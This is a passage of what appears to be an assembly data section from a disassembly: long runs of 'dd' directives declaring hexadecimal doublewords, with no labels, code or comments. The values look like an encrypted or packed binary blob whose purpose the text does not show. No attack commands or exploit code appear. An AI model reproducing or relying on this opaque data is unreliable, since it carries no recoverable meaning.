4EB6CF2Ah, 8DA5517Dh dd 0BA561CB9h, 0DEF70B95h, 0A8717C0Ch, 0D2A9DCADh, 0C3BF25CBh dd 4DB5B98Fh, 846A9D94h, 3FE3850h, 0FABBB7FAh, 350DA459h dd 761AA1Ch, 118060ACh, 2B7BDB76h, 0B655ED42h, 1732C83Ah dd 730C8BE9h, 6FD2E620h, 7C6A1B45h, 347300FAh, 0B8764DD3h dd 0DA7AE6DAh, 0E00864B3h, 0E32CAB76h, 831258C4h, 53519CE0h dd 2F2E91A6h, 5C3FAD28h, 67D91BBFh, 5E3129A3h, 380D8936h dd 7B429AF6h, 6951103Bh, 80F5080Eh, 12A3B4B1h, 0FEC5DCC9h dd 2B6197F8h, 698BFCE2h, 91944CBBh, 2377A26Ah, 0FCA55F1Eh dd 21B7C0D7h, 4699B6AFh, 0A2357BC9h, 1291C7D9h, 0C8FD744h dd 43BEEAB2h, 0BF2E70B5h, 6B79A70Fh, 46F391B8h, 0AE16C1EAh dd 1BFB7089h, 0A839B2EAh, 621E49A6h, 58B67B07h, 80C84590h dd 64E98993h, 63CEEBBEh, 0DADE4AA9h, 88F1B0AFh, 2018DB72h dd 70CD508Dh, 0CFDB906Dh, 0DD58174Eh, 2D2E7828h, 0D8D2DB76h dd 0FB631CA6h, 918767F7h, 0DB07BDEBh, 5C58241Dh, 6527C0B8h dd 0D3294DADh, 0CFFA4C3Ah, 211BD768h, 67F6577Ch, 5AED9633h dd 0E026D3F4h, 15C44DD3h, 0B80BFBEBh, 3B5CBFEBh, 0F2C97F39h dd 9FBF6B58h, 1D2B0B83h, 7CE683DAh, 0BE84ED32h, 0C54553D6h dd 30911597h, 0F64C580Ah, 30972DD5h, 7F883CCDh, 289D2B38h dd 664746C6h, 9595C16Ah, 4819892Dh, 30674CB2h, 0D02D7321h dd 0E1C534D3h, 0F82B0D72h, 0B6A3E615h, 39ABF090h, 3F3CAB23h dd 57092F4Ch, 0D036D5EBh, 76D1FCCFh, 0C14D5641h, 88DDB10Dh dd 1A3CE040h, 15089FBAh, 3497A3Bh, 0BDD944F4h, 794EDED9h dd 0AB76EEC0h, 0BBF2C996h, 6473FB49h, 0F738B6A2h, 2A34B85Dh dd 1A989FBBh, 0D35AF1C2h, 0FFBA5AE8h, 5E36FA48h, 56303AD4h dd 650052Ah, 55C5B9ABh, 0C21CB749h, 0E28009Eh, 8E472868h dd 0E637E10Dh, 1F0E1442h dd 0C9234CF4h, 4159C78h, 6616B0E9h, 762F1ED8h, 2AF517A1h dd 394D3E14h, 0B4455F79h, 0F11C2ADFh, 0EB1C884Ah, 0D64A88ACh dd 2A81805Ah, 626DFF9Dh, 0E8A9095Dh, 4A47470Dh, 835192E3h dd 0ADD62E0Dh, 0D72447A8h, 9C81B159h, 299E7B90h, 0B9A8FC5Bh dd 21E39D6Ch, 0C28E6CFh, 9A205D17h, 0CC12CE37h, 0EBCFA022h dd 8B63B2D3h, 0F22DBF2Fh, 923DBCAh, 0B274E6FDh, 9952C02Fh dd 0CEE12310h, 0BC7D4EE3h, 200C5B3Fh, 0DF7C3A93h, 48DB496Eh dd 6C9646CEh, 0CA53192h, 0F3D3257Ah, 0B377969Eh, 5B139016h dd 2ED702CBh, 0B7B3367Dh, 0E305221Fh, 0C01091A4h, 0F32BEE1Fh dd 3E1C51DAh, 563DA37Dh, 0FBA3C2A7h, 704D7A3Bh, 978EED25h dd 9C567418h, 60AF64Eh, 17381186h, 9F0E3131h, 0D24CCB8Ah dd 871A699Bh, 743431DAh, 7D3A1C3Ch, 6F3C0FBEh, 861CE7C8h dd 81293BF3h, 84512ACAh, 66083E05h, 0D05D8D9Dh, 9375A474h dd 7B099803h, 53B98104h, 5EBF410Eh, 203B66DCh, 736A0EADh dd 4C04EE87h, 1D25B8D9h, 94960949h, 31EDAF51h, 0ADAD392Ah dd 0A13D10CFh, 0E16D3EA3h, 0F4E41E66h, 22F34567h, 0BFBB36E0h dd 164AE49Ah, 38A0BFE9h, 0F378B5D4h, 90F26393h, 0C7E8296Dh dd 0AEC76D93h, 0B98B1FF1h, 0DFFC3868h, 8F233391h, 471782ECh dd 0DDA384CBh, 48F91F13h, 0B7AB498h, 47DC0173h, 0B1F24195h dd 795FDF8Ah, 0BA8B7869h, 0F207ABB4h, 92B10D0Ah, 0D27D153Bh dd 0FB079685h, 451E043Eh, 661B6E20h, 7EA42F9Eh, 0DFA14B70h dd 9597E7DAh, 818D57CAh, 1B1B3FB3h, 358796D7h, 4059240Ch dd 70C9ADBh, 711E2480h, 8E12AD7Bh, 26F76AEh, 90783829h dd 0ED4A4BD0h, 0EF219198h, 4FDC3FE2h, 0C44822FAh, 0ECDB21E3h dd 4A178F2Ch, 671D01BEh, 0B9812640h, 120F1B8Dh, 0E0D8EE3Ch dd 80E6846Fh, 1A253947h, 80621E25h, 10BE4FC1h, 1BBDAB9Eh dd 0D34A04A7h, 67A88897h, 935D88FAh, 0AFE6CE76h, 7926676Ah dd 0C84F4726h, 9C388CA8h, 735E7C9Eh, 5DF0EFE9h, 0C921F288h dd 0FC8616DCh, 3986DF5Fh, 0B7C5970Fh, 0F69A64F8h, 0C0DDF25Ch dd 312C7A61h, 0EA321D5Ah, 0EFAB643Fh, 0D5612C4Dh, 0A735CFE1h dd 0CDAD2A7Ch, 1E0DCFBDh, 8F2AD8A5h, 43DF3601h, 84557C1Ah dd 75AA3059h, 0A3BC7918h, 6AAFFF7Eh, 58424B5Ch, 35FE363Eh dd 77506982h, 0D0184136h, 414449B9h, 71697FD7h, 0FEF770F2h dd 0B5FBB513h, 0BB559FF0h, 0B0424F9Ah, 38EF338Ch, 0BE92E4BEh dd 0B7AF8D23h, 2D75E973h, 26DC115Ah, 99AD512Eh, 0A259FD99h dd 17DE1571h, 0C0998DE1h, 573E4A8h, 5A0C08A3h, 4AA42410h dd 0A55311BEh, 5D1215E9h, 5B319005h, 66612754h, 88B4DABBh dd 0DC6B1B7Ah, 34DD0469h, 0FB256872h, 6309551Ch, 11251FA4h dd 119E12D1h, 8DE802A1h, 0B76C5F1Eh, 89154691h, 2BD3055Dh dd 0BA382A3Fh, 0A50721D4h, 0D770F824h, 0BFCD85D9h, 78883A86h dd 80146BA3h, 6F9DAD8Ch, 4BC9C981h, 0EBEE62D7h, 0B13395B7h dd 3E65F349h, 53A1DB57h, 0BB31510h, 5F728B82h, 266E92A8h dd 9BD1358Eh, 0A1470E23h, 6193A53Ah, 0F248E0A1h, 59ABFA94h dd 0B5477B2Fh, 2991809Dh, 916519E5h, 3038D366h, 0A54BF1ADh dd 9BF72D02h, 0D3166E72h, 5E7D402Fh, 96296041h, 0F144CD89h dd 0E0A62991h, 187388B0h, 491279F5h, 1B42AF06h, 2D17BE11h dd 0C20BF89Eh, 5092C5C1h, 1B702540h, 6A5A11CDh, 80FCDD96h dd 0F9DCF3DFh, 0F8315130h, 0D3247AF3h, 9544B182h, 2028332Fh dd 363BDB55h, 55AD4BFFh, 2D9CC2FFh, 56A1F8A7h, 90E1382Dh dd 0E3BA915h, 2D9D390Ch, 470FD46Eh, 5BDF7937h, 28C905A7h dd 94037D04h, 1ED737Dh, 88E015Eh, 1A61DF5Fh, 251788D2h dd 0B60ACC04h, 4BEAF0B3h, 9048251Dh, 0EE095BEAh, 364B2DAFh dd 151BFE1Bh, 4B8C1309h, 0C87DF80Fh, 4A22CE52h, 9A1001CEh dd 0DF1043C1h, 0C06C88A1h, 3B6C424Dh, 82BF6F5h, 942FB280h dd 0EC5B11C9h, 2C338642h, 1E0A26B8h, 9AF2590Dh, 170641D6h dd 0D5620A2h, 2863D93Bh, 0F88B9551h, 0D3FA3DACh, 0BEA0F8A5h dd 0B036ED21h, 0BEE2B1ACh, 7FFBB596h, 9036E6D9h, 95666813h dd 0ECCC8111h, 967E3F3Fh, 42EECA63h, 85EE9DFAh, 0CC9E34BFh dd 0F7E6C59Ch, 4980F8D3h, 91EE6C9Dh, 12D856Bh, 0E7660D14h dd 3B720751h, 53CEF681h, 0A79C297Eh, 0D2EA599Dh, 8CD071Dh dd 0A089F844h, 0B0F5330Eh, 0F041744Dh, 0AF4E2176h, 70D4AE9h dd 0E9FCED6Ch, 0A60893DDh, 0E5F8406h, 0F8B9F21Dh, 0C9362FF5h dd 38A143D8h, 0A259D36Fh, 92C947D0h, 658D3AFDh, 23BEC951h dd 58827EACh, 84D95746h, 0CDF9A3A2h, 759E27C5h, 0B1FBE82h dd 0DE05268Eh, 11615DB9h, 0C9626903h, 0B53B574Fh, 0E5308D43h dd 0BEF9B0DEh, 0E805A4A5h, 77C48568h, 0EEB32BA7h, 0B8B07771h dd 94EFC085h, 57A5CC2Eh, 7EFE85BCh, 0A56C5419h, 0F4D0EDC1h dd 5D03BC07h, 16D2F1E7h, 0A6890335h, 0F26A8E6Fh, 5465B190h dd 6ABDE3C6h, 0E4639DC1h, 0B954008Fh, 570B9BD2h, 97B89232h dd 95F3D571h, 0D69F6A0Dh, 46CB9E37h, 94E305D4h, 0E7118E86h dd 7CE8142Bh, 92864E7Eh, 21B6F4Fh, 587620C2h, 3E8B474Fh dd 0BEAD0567h, 0A42F667Bh, 0DB56BDEBh, 0AD4A3671h, 3B7926D9h dd 0F61DDFF4h, 0DCFDA65h, 476ED6F5h, 3904D0D6h, 3BA066B6h dd 7B22DAAh, 0A2C47B35h, 7F91D491h, 357E96A1h, 6F0F14B1h dd 0EB4DB02Fh, 0EB9D5E01h, 5CB18C45h, 93F612E3h, 0C788D795h dd 3D935C43h, 435D5962h, 0C453C956h, 72075A43h, 0A7EB920Bh dd 0BCDB12EFh, 815AB4C7h, 0EC8E4384h, 410CC1D9h, 0D9B48929h dd 0A8C1A830h, 0E621A13Ch, 2244CEFEh, 897A9686h, 4F734F41h dd 3ECD5A10h, 6CF0DF4h, 5DA139FCh, 9B00B96Dh, 75AC4D99h dd 0D787827Dh, 0E50B9A16h, 510B3BE2h, 0C3E71F41h, 1A8CC50Fh dd 55F0C5D5h, 0D60D95F4h, 5D620507h, 6679DB1Eh, 7FF885C5h dd 0E893B9C8h, 0D75D62Fh, 96851B77h, 2D0CF6B1h, 96219E23h dd 5E401F3Fh, 0B36F9465h, 0C9047A44h, 57F43EF7h, 9D6494E4h dd 51532AABh, 8EC636EDh, 0C2EF019Ch, 2BF06DCBh, 4E50F83Ch dd 0B88409E8h, 6277E445h, 0D394A896h, 0F6532408h, 0B7A70A69h dd 6EBD665Bh, 0D025CB69h, 35BD1F5Dh, 0EBA5585Ah, 0D52666FAh dd 6E1764E5h, 0E3348FC8h, 6B9DF59Ah, 9FD013EEh, 0A440502Ah dd 999D8E54h, 14CE3AF9h, 0F7050B0Dh, 9A2DD280h, 0B6552CF4h dd 48595CFEh, 0E0B0790Ch, 42D8B823h, 0F85FB5BFh, 0C642EBE9h dd 0E54D04D0h, 0F4DAD075h, 7A5BC8Fh, 2AF4EF8Eh, 0E48F2CC2h dd 0CA677704h, 4E7B72FDh, 0E7BBC982h, 0C26DA157h, 0E816145Eh dd 1DA56172h, 6D0DC72h, 0FC013D48h, 0DC2E5127h, 6F4C3F5Ch dd 0F2153B1Fh, 0B2D96A5Fh, 500EBBC7h, 47197372h, 0AF359D7Bh dd 47153075h, 0E3E14B2Eh, 681A2113h, 0FBAB5A9Fh, 0E81E69A9h dd 944B06D7h, 0A6C353E7h, 567FB617h, 4EBA5815h, 8A166C4Dh dd 40F04879h, 0B9D8C6D6h, 0A1893B1Eh, 8C47AC1Fh, 756F74A0h dd 27BC95E7h, 0E7064B23h, 302DCEC9h, 196FAF52h, 67CCEBE1h dd 0E5E01B98h, 557ECA80h, 74066C5h, 0CBF05FFEh, 5E909385h dd 34332D25h, 0B48E2A8Ah, 0A4EB9B9h, 9CC2192Ch, 6F3A53CBh dd 12CFFEA1h, 1862D8B4h, 302CEB36h, 0FF3BDA7Eh, 0B40102C2h dd 4002541Eh, 5096903Fh, 7FCF9431h, 5E4D02A8h, 34A6422Fh dd 5946E465h, 1578F7F7h, 0A773B91Eh, 14A7B00Ah, 8923C003h dd 0E4DB26EEh, 8C261087h dd 0E52056F9h, 0CC89D7C5h, 8B97FFFBh, 2A87063Ah, 0C43F40ACh dd 0DDC2487Eh, 0D64ACB31h, 0BDB89CABh, 0FB2A198Bh, 0F7F3992Ch dd 779CC85Ch, 0FEFAB7D4h, 1D8702D5h, 65B22173h, 0AEBEC372h dd 0C2E31096h, 0A2925018h, 91AC77B9h, 8473D2E4h, 0DBDD0845h dd 21F55AFEh, 866E0538h, 0B072644Eh, 0F84BE167h, 0CB11BBE0h dd 0B44D05C1h, 0B3B03452h, 93F6C6Dh, 5545D371h, 55B30FFh dd 8FBE0011h, 0F3327D7Eh, 23E86Dh, 0C33C11E8h, 3DC0D506h dd 1435C907h, 0A2C4EF97h, 2AFDA2F8h, 9DAA1F7Ah, 0AA9FB902h dd 63B07A4h, 6CFE7FC8h, 38D2F103h, 0B925D31Ah, 0EC36BE4Dh dd 3867CBDEh, 32F38206h, 92B5297Ch, 516CAD7Ch, 0E920B5A0h dd 0C47BFEFFh, 0F12BD5A1h, 345A1E27h, 1A6798F5h, 32F99711h dd 7FBB0C75h, 0E14EE963h, 88E32DC8h, 8384400h, 0E1E30A73h dd 27D547E4h, 0D033317Eh, 7FD1C9CCh, 2E745886h, 0A1CBEB97h dd 0FF965AEFh, 978784F3h, 0BB32412Ah, 1D52F641h, 0E0144BE4h dd 76910E68h, 3E0701h, 500E00h, 96C387C2h, 0BF51220Fh dd 7D9A37F4h, 2637A711h, 390A334Fh, 439E61C4h, 0A78D4008h dd 16D8D6C6h, 0BD1468FBh, 0C8501FCAh, 62FD168Bh, 0EBC2088h dd 0B6D645B1h, 0A589427h, 0D33EDC8Ah, 745FF7C8h, 0F5B81396h dd 0C683C794h, 0F66FD646h, 0F58F7547h, 366BDB62h, 0FF58DD70h dd 338627Bh, 0FC5FB940h, 57838370h, 0C811F90Fh, 0E06F458Eh dd 3416F377h, 360C191Eh, 92367EC4h, 1765EFB2h, 6D626275h dd 0E01CDABDh, 0C048BC93h, 217EFDBCh, 0F8800992h, 59C9A76Bh dd 0E98538F2h, 97701A30h, 0F500B5F6h, 79DB19E0h, 0FF131F97h dd 0BCB1687Bh, 37B1BD5Dh, 888ED9BDh, 660BE557h, 0D6C5D53Ah dd 7920F180h, 2751B072h, 1759045Fh, 86B8426Ah, 80DE73F8h dd 0B9BEB42Ah, 0C74475B7h, 0E6EDBDA3h, 3CCD040Eh, 2D173721h dd 3EB7C366h, 0CE0E0CF3h, 5395A457h, 41C4B3C2h, 77A39783h dd 0B884A45h, 21BD2BC6h, 2B44450h, 67C653CEh, 0DB7CA01h dd 6DE89D47h, 326E586Ch, 4098CF2Eh, 2E7EE910h, 896C4D50h dd 1EB03B0Dh, 0E0A4EDFh, 56C03FC8h, 1FFD3611h, 1FACA6D0h dd 63B22C04h, 74E148Bh, 0AFF27BDCh, 485CE8Ah, 4445587Fh dd 91FC92DCh, 72D1D3A0h, 2452A1FCh, 8BD7ED74h, 449567CBh dd 9DD21BC1h, 0E38E96D1h, 7D19BFD6h, 0B5CCB6DCh, 0BDFADC64h dd 0D412743Fh, 2F116FDFh, 974619CEh, 5A13A219h, 5EAEA6D7h dd 0BFD412A3h, 0E5930FCh, 0FF35CFDBh, 0CD935071h, 0C42DE047h dd 6DD6BB62h, 0D705398Ah, 4327BE57h, 0BE9E8A32h, 1D80E1A6h dd 7E7CC8B0h, 0BEDFEA50h, 2AEC0841h, 4C364503h, 0C9984EBCh dd 9BF34CAFh, 0E4C0DBE3h, 481F6760h, 85B60D90h, 7FB9EAD6h dd 285C3643h, 0ECE2B156h, 33763915h, 0F94585CFh, 757A7BA3h dd 0E75F9E30h, 5AFF4251h, 0B0D0F42Dh, 5D75882Ch, 6353762Ah dd 11DCE3BEh, 0A10A7A8Ah, 38A15A70h, 7F1D8DEh, 9801A849h dd 0BC2FCCB8h, 0D8480F9Fh, 6521D380h, 79BC6A03h, 5DCAB943h dd 0AC4D992Ah, 329D57F7h, 0E70E9A25h, 690D8103h, 9BD64314h dd 0DEE28DE4h, 0AD8DF2Fh, 458F756Dh, 437DB1EAh, 12F81DCEh dd 0A7D18795h, 14E4FE51h, 0ED74E844h, 5CE69132h, 9F3E7B22h dd 4A7E82E3h, 567D0C9h, 0BC42987Ch, 0EF60BE03h, 0FF8676DFh dd 5A682F96h, 0F5D0C8B9h, 0BB111AA1h, 85140232h, 696FDD70h dd 0ED8FE37Bh, 1B7BDED3h, 25AF4E19h, 0EAC2E055h, 0B957119Ch dd 0FF18D96Eh, 2F5FEDBEh, 0B07A91D7h, 0DDF15534h, 3072F4DEh dd 0A1CCD981h, 0F36C188Dh, 2BF1941Ah, 0C83CA811h, 0F42B155h dd 0BB0C587h, 0B0039F6Eh, 0ED112258h, 0E8739851h, 84AE7406h dd 5E163D0Bh, 3CFE20B3h, 4DD2A542h, 0E7ED5AE6h, 2668104Ah dd 25C719D9h, 7BF385FEh, 0B220D827h, 0E34994B9h, 23E12ADh dd 0C7F8ACB2h, 21576E52h, 0B461AB85h, 0A8C913F4h, 44DC2ADEh dd 0B9514A58h, 4A550C9Fh, 0B92F02FEh, 0FB1F7BC8h, 0E7A8615Bh dd 0CA3882B1h, 3209825Ch, 5DB1EA66h, 3D4678B8h, 7834E178h dd 53F0912Dh, 0A31E4420h, 731F98D9h, 84A8025Ch, 8E140DAh dd 8CC72A09h, 9D9003E8h, 0AAF8B85Bh, 0DF5410A1h, 0FBD25E93h dd 179C2B5Fh, 0AA37C813h, 0A26088F9h, 0B79D2012h, 16BB17Eh dd 111A3736h, 0A3077CF2h, 95BEDAD7h, 0C529083Ah, 2A57726Bh dd 0A4DE85FEh, 0F67F2C61h, 3ECDB7EBh, 0AB46C54Eh, 0F05FAF9Fh dd 9B68E56Bh, 0C18A3FD4h, 0C49BAC5Eh, 0A8C3B150h, 4627A02Ah dd 0C9463B73h, 144DD011h, 0C5FAD43Dh, 0F2B00F3Bh, 0E52A1146h dd 0A7F3DBD9h, 2087E8A3h, 0BC66590Eh, 0B22C220Bh, 663EA423h dd 814534B8h, 0C99A4185h, 3467E73Dh, 5BB3CA36h, 0EC2392DCh dd 7D5EC68h, 0AD4AAFA2h, 70F229C0h, 140AE358h, 5D7FFBE0h dd 5AA56B43h, 607AC22Ah, 0C7B576D7h, 2A620815h, 0BBB0A1E0h dd 8033CBA9h, 32D56DFBh, 0B65FC123h, 46607E64h, 16BBFC1Ch dd 0E427D3EBh, 0D0D33C9Ch, 0C1443C94h, 0EF9715B9h, 88E56A56h dd 62ACA02Fh, 0D831C0BFh, 0DD9CA02Ah, 1D2FEA11h, 52071BF2h dd 0BB228895h, 0C66D5689h, 0C9EAFBD0h, 81B82E84h, 0C57515C5h dd 7D8D05ECh, 72A01009h, 0CBB40820h, 930DA41h, 0EAC802D9h dd 14D0C323h, 239179E6h, 0F364EBD2h, 0D700D910h, 778DB1A2h dd 6C919272h, 39BCA39Bh, 528BBA6Fh, 21C3EEB3h, 0AE62A5A7h dd 7BA72E5Fh, 5DA72D8Ah, 9F1028CCh, 3E72A96Dh, 0DBFC5CE6h dd 39599A6Fh, 1FF3AA01h, 238E0819h, 73CA1AD9h, 0A93D4A6Fh dd 14B9EB76h, 20F49945h, 0F7293CD1h, 4E44AF30h, 0C806F9ACh dd 0DE515667h, 4BE38CECh, 54D7B57Fh, 3016DB9Bh, 26F1BC76h dd 10DAC21Fh, 0AD02989Ch, 1EFD336Dh, 0DCA2ACD9h, 4B460900h dd 0E87D1041h, 0BF79B8B4h, 0DA5ABB7Dh, 7066AA96h, 6EEFA923h dd 0D81C5D43h, 9508BACCh, 19916CEAh, 0EC6674F7h, 674B10A3h dd 2EC5C2C5h, 0CB69DBC1h, 0AB0402BFh, 2BC2EAE4h, 58304F29h dd 63E6EF4Ah, 0C9EDD93Ah, 22A51D07h, 0BE57465Ch, 0F8E421DAh dd 9D1E8FB2h, 7CBE594Eh, 786E15D5h, 79F07C69h, 13B65CE0h dd 94A67B0Ch, 8D97C8CAh, 0DDB01F3Ch, 99A38C54h, 5D252261h dd 656FB57Fh, 0BC12FE9Eh, 0FEA61DB1h, 4D0A5145h, 0EE44C51Dh dd 0BD96384Dh, 92AA59B3h, 479DE394h, 500E3C40h, 0C02CFDA3h dd 8416A9CFh, 8C9FE037h, 2DA6BC60h, 0B925294Eh, 97A4CB99h dd 6B7386BEh, 6A5813A4h, 0EFEDA4BDh, 633EB373h, 0DE5CADF5h dd 0CCDC7567h, 603299B8h, 58CDBBCEh, 85789FD2h, 14401144h dd 0E8935078h, 336241A7h, 36F7826Ah, 642DB56Eh, 4C00C0ECh dd 999D6A3Dh, 278B928Fh, 5EC234D2h, 0DC2E5585h, 3833B7EAh dd 62D62E53h, 45EB4BAFh, 0F5DD356Dh, 0F098E484h, 145BD681h dd 97522A01h, 0EEBA2AD7h, 83C57106h, 58BDEEC9h, 9AB41E11h dd 1544D7B8h, 0EDDF76C9h, 38C66AC5h, 45640F1Bh, 0BD22036Ch dd 0DCEA0DB8h, 0E44224CEh, 442D83h, 4CD9248Ch, 629261BCh dd 4C86E032h, 77EA6898h, 1A769DE8h, 0E3E6B52Dh, 18675C53h dd 0E3EE6F98h, 0EA29213Bh, 54AB8F06h, 21AB91C3h, 8B92EF31h dd 475449ACh, 0E7273B4Eh, 185DADEEh, 0DBC1F8E8h, 6A10380Bh dd 0C129D616h, 4ABD6A81h, 3539C945h, 0E0946F32h, 0B8566D9Ch dd 0F005D2EFh, 9CA0F2EEh, 33F97764h, 0A9B1DCB8h, 6D1F8030h dd 951B67D4h, 0EF12DE13h, 839C85B1h, 2EC2A42Ah, 17C6DFBFh dd 75B346FCh, 0C0013C94h dd 6BBEA6D5h, 6BAD92EEh, 0C86C0C1h, 0B2646DD3h, 96164AB7h dd 8DCECF86h, 681A287Dh, 96A14FA4h, 0A252B145h, 65ADB799h dd 61F15B4Dh, 0EE9F48A2h, 0E4C14A32h, 0F20A06FCh, 5E7B5A56h dd 6B0A2BC9h, 0B58628FAh, 2721C392h, 0DB1B129Ah, 0F6BC6CB7h dd 0D293110Eh, 0A84DCF24h, 6AC58D9Bh, 7F1A6EFAh, 856724E2h dd 1790EB6Eh, 0D3B1FAA2h, 0B73BC692h, 4FCDC251h, 52D2A280h dd 442D96E6h, 0B51EB9EDh, 4E15EAC1h, 6F7EA937h, 4FB33B4Dh dd 0E76FE11Ch, 866BEA3Dh, 20278312h, 92DC51F3h, 12C1D1DDh dd 0AB14B1E3h, 15000333h, 1F9F96EBh, 53F8F46Eh, 0EA75A5CCh dd 0E5FDC6E9h, 0C38A3A44h, 69562C3Dh, 48CF7D0Ch, 0E5546314h dd 949C2594h, 0CECA3D23h, 274F0FCDh, 9D68443h, 348D6AEEh dd 0EEA91722h, 568CB3A6h, 3DA61A72h, 0F090ED93h, 4B018657h dd 577A68F5h, 0EB9DFFDBh, 441CA185h, 9590ACA8h, 98549165h dd 0D2C16E8Fh, 22C9022Eh, 764A63BEh, 0A6A54597h, 123B115Dh dd 33F630F9h, 74065A6Dh, 0CF971CC6h, 28E27D5Ah, 0E1D081BDh dd 0C6DCC8C3h, 0A0A470DAh, 0B18EE034h, 916292D9h, 5EC3048Ch dd 0A373AFADh, 0E8792C78h, 0F1F28388h, 1BD7E644h, 0CBF0D9B1h dd 0B2E04432h, 2701F7CFh, 5B6EE8C1h, 0A4756E0h, 84A31E44h dd 7EB23BF6h, 0DD194D26h, 58FAF434h, 0EBDD371Eh, 1B2FF31Ch dd 95CAA074h, 71D1533Ch, 0E58F7934h, 0BFCFABC9h, 2C9971FCh dd 0DEFA160h, 720FA7C8h, 4E2070A3h, 3A79DD05h, 0F181E7BCh dd 793D08F0h, 52501AD7h, 0CED7252Eh, 0EE80E45Bh, 0E0F5DB7Eh dd 0F6C56F7Eh, 282CA9C4h, 0C3355251h, 0E5E3B617h, 2F951A90h dd 47A20B0h, 0E6ABAC8h, 32635C85h, 5BE7D234h, 442276B6h dd 8C71EA8Eh, 974B0140h, 7F80A933h, 0CA8F8432h, 308F32B4h dd 0BDFC4EEEh, 1E808B88h, 0E5354401h, 0DEA8B6EAh, 1D5B90BAh dd 0FD8B54DCh, 90812352h, 35655FA3h, 8C085F48h, 79FBAF51h dd 15DFDA3Eh, 0E70060C0h, 12601479h, 17DD9A9Ch, 423118C2h dd 0E06B29F2h, 0FCF6F96Dh, 0DF2DB760h, 0E9C2437Ah, 79309376h dd 0B9845865h, 0D71FEFF9h, 429EA2ABh, 29547BC6h, 2F042DE1h dd 0ED5C88F0h, 5743AD98h, 17B0E8BBh, 493AA474h, 0D58CEAF6h dd 785A8E13h, 6EC05A9Ch, 0F6CAF0ADh, 7F3173E1h, 0A40C157Ch dd 8C2C5A11h, 9C6C507Fh, 3AF64AFAh, 2D8D9551h, 599F59F7h dd 88EE4201h, 0CFD4C193h, 0EBED8EC2h, 0B44970DEh, 32BE90AAh dd 4ADDFF48h, 0CA02F837h, 145FDD9Bh, 1CFA94F6h, 4C035927h dd 537CC51h, 7F868C9Ah, 0F714914Ch, 0B4D1F6DBh, 0A0DD44EAh dd 7C30A60Dh, 0AEF10044h, 0C2B61005h, 0D2150532h, 0A2A0AC9Ch dd 0DA244684h, 277D3A05h, 0BDE8F259h, 40F2C581h, 16BDEADEh dd 0F070ED1Ch, 2760D3D7h, 62650983h, 0DACE9FA2h, 0E6572CC7h dd 47B1E2F2h, 4E774FD4h, 0FCF69669h, 40CF5C9Dh, 3F9ECB62h dd 9AA19836h, 0AF09114Bh, 4884B27Fh, 0C4F83474h, 0B2AA2234h dd 0F337083Fh, 0BC210779h, 48223AD4h, 0C1EFD7BFh, 0DC4CCF6Ah dd 0D7609E94h, 0A9B605CBh, 0BD0DFAC5h, 0D2430ED2h, 9C4ECCE2h dd 7F64C8A6h, 761FDB80h, 800D94B3h, 77C2F759h, 56EA5DF8h dd 0FEDA106Ch, 0DB5759C5h, 66AC6D69h, 183F1D7Fh, 61A76403h dd 590B185Ah, 0E0330C93h, 7F173675h, 9D1D8AB4h, 0DFC38347h dd 937870F6h, 2DAE1CDBh, 0E4195A87h, 3705C417h, 78E38279h dd 0A3A87BD4h, 0A17A5EAEh, 6E3E97A4h, 293469C2h, 33FD163Dh dd 6ADBF31Ah, 93EAE46Bh, 0B8CAA665h, 83381A51h, 0BF8B131Dh dd 166A022Dh, 0D83DB74h, 0AA6A48A3h, 29BAFDD6h, 2E5C3D0Dh dd 7FB994A8h, 84AF21B7h, 2C078186h, 1BABD1h, 3D0052BAh dd 0EA47271Ah, 20606E46h, 0F6E8C785h, 7FABFEDAh, 6B96F6E1h dd 1965B744h, 0C272A922h, 0BE2F79E0h, 5E09065Fh, 7264B7FAh dd 318F6E1Eh, 2FA76B53h, 0FFF4D234h, 0D0C44AE5h, 0C09D8594h dd 80C827F5h, 3F4BBE02h, 0A830026Bh, 0AA123EEh, 9F2635BAh dd 1EC822B7h, 6C1DAF14h, 0E26D73AAh, 5B9A6B06h, 7C472F58h dd 291DA02Fh, 6333C983h, 5F4415DEh, 0E6E5396Bh, 1A3E514Bh dd 93C4B1C2h, 4B7762D3h, 3DAAF23Ah, 0E2967EE2h, 3FD19B51h dd 3FAC2EF5h, 0A9D03195h, 0E7888516h, 9A63BA35h, 0F2715DE9h dd 10A9C2A7h, 60B24BCh, 0BFA36BAEh, 28F862Ah, 2DB1FC03h dd 2B1BC2EEh, 6A1EA822h, 6FC72D84h, 0ED86C20Ah, 35A56C6h dd 2965E6DCh, 4B61E099h, 1D5DE80Dh, 6BB3F552h, 22CEC7C0h dd 0C6450A17h, 60C630BAh, 83E76782h, 0F9FFBC3Ah, 0D5326A5Bh dd 8E89FBDBh, 9BE9E9Fh, 44703F1Bh, 1E10A0ECh, 0AB160FB3h dd 9288676Dh, 95066B0Ch, 7A6FAB52h, 485F3AC8h, 0C224EE22h dd 0F2FDB96Eh, 9F24A0BDh, 2AB902FEh, 10FFE65Fh, 94415C66h dd 6032C205h, 8986F8E4h, 5D4DB9F6h, 40A70A5Ah, 0ACF0154Fh dd 0CF54D48Eh, 0EFFAC178h, 809A4CF1h, 6F64B89Eh, 36755E9Bh dd 32B335DEh, 0AA1543C1h, 562A6743h, 2767383Bh, 102EDDE0h dd 47C1C33Bh, 0D3697CC3h, 10DB613Dh, 0E2C9AE7Eh, 9ACF664Fh dd 71E015F3h, 0C80CD696h, 0ACDE814h, 2C520155h, 202209D7h dd 60DEC9F7h, 6CC3392Fh, 63764DFDh, 52C0C39Dh, 0CDE37DE8h dd 0C578D053h, 1DBE9B4Dh, 83965609h, 6CD5D1FBh, 457E2388h dd 17D6A453h, 0B0EB9A91h, 2AC39D3Fh, 7D6C8267h, 0C0F609E2h dd 95C667FBh, 1BAFE3C1h, 10B6D913h, 47C7AF25h, 334DABC6h dd 4C8A78CDh, 0D6AAF9FFh, 1817826h, 790E93B6h, 6633C03Ah dd 56811F30h, 0E522D4Fh, 0DB7EC4BDh, 0FEB582CAh, 0D32176D3h dd 70BD9555h, 38C8C840h, 532323AAh, 83379F9Ch, 0C5B1B6F5h dd 552C3C5Ch, 823C36AFh, 0A14655C6h, 79B8D281h, 0C73F5A29h dd 0EFF8B7F6h, 70004C03h, 0F145C9BBh, 9F3DE1CFh, 6454F6F8h dd 0FC10B8BFh, 485836CEh, 0DECAB1ADh, 0A6276C04h, 0DC51D04Eh dd 65E3278Ch, 7685B03h, 7D598AF8h, 0D3061DA4h, 6A639FE3h dd 6BF617C7h, 0F1073FD2h, 0BFBD7872h, 61764310h, 0B0F748D5h dd 74F1C09Eh, 935641Dh, 6C60FA14h, 0B50C60B2h, 0C1ECB3F9h dd 0C9AB036Eh, 0EE8DDF8Eh, 0C2B8FCC7h, 